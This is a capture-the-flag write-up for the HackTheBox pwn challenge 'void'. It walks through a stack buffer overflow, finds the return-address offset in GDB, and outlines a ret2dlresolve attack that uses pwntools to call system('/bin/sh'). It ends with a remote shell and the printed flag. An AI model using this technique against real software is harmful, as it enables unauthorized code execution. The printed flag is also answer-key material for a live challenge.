Void
3 minutes to read
We are given a 64-bit binary called void
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Reverse engineering
If we use Ghidra, we will find this decompiled C code:
void vuln() {
char data[64];
read(0, data, 200);
}
int main() {
vuln();
return 0;
}
The code is very short and there is only a single point to enter data.
Buffer Overflow vulnerability
There’s a clear Buffer Overflow vulnerability since data
is a char
array of 64
bytes, and read
is reading up to 200
bytes and storing the information at data
. Therefore, we can modify values that come after the buffer reserved for data
and control the execution flow of the program.
ret2dlresolve
This time, we do not have much primitives on the binary because there is a single external function (read
). For instance, we don’t have any function to leak function pointers.
When having this situation, there’s a technique called ret2dlresolve that can be used to exploit the binary. I won’t cover all the details of the technique. The basic idea is to trick the program into resolving a function that is not linked to the binary. For example, we will be interested in calling system("/bin/sh")
, so our objective is that the binary resolves system
, altough it is not linked.
The implementation is very simple because pwntools
has a class called Ret2dlresolvePayload
that automates all the linking and resolution process. In fact, the final exploit is pretty similar to the examples in the documentation. More information on the technique can be found at ir0nstone.gitbook.io or Temple Of Pwn on YouTube.
Exploit development
First of all, let’s find the offset to control the return address and hence exploit the Buffer Overflow vulnerability. For that, we can use a pattern string inside GDB:
$ gdb -q void
Reading symbols from void...
(No debugging symbols found in void)
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaa
aaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacja
aaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaa
adyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaa
aaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./void
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaa
aaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacja
aaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaa
adyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaa
aaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401142 in vuln ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
So, we need exactly 72
characters to control the return address. Now it’s time to create the exploit, which can be found at solve.py
:
$ python3 solve.py
[*] './void'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'void'
[+] Starting local process './void': pid 99967
[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py void
It works locally.
Flag
Let’s try remotely:
$ python3 solve.py 165.22.116.7:32118
[*] './void'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'void'
[+] Opening connection to 165.22.116.7 on port 32118: Done
[*] Switching to interactive mode
$ ls
core
flag.txt
glibc
void
$ cat flag.txt
HTB{r3s0lv3_th3_d4rkn355}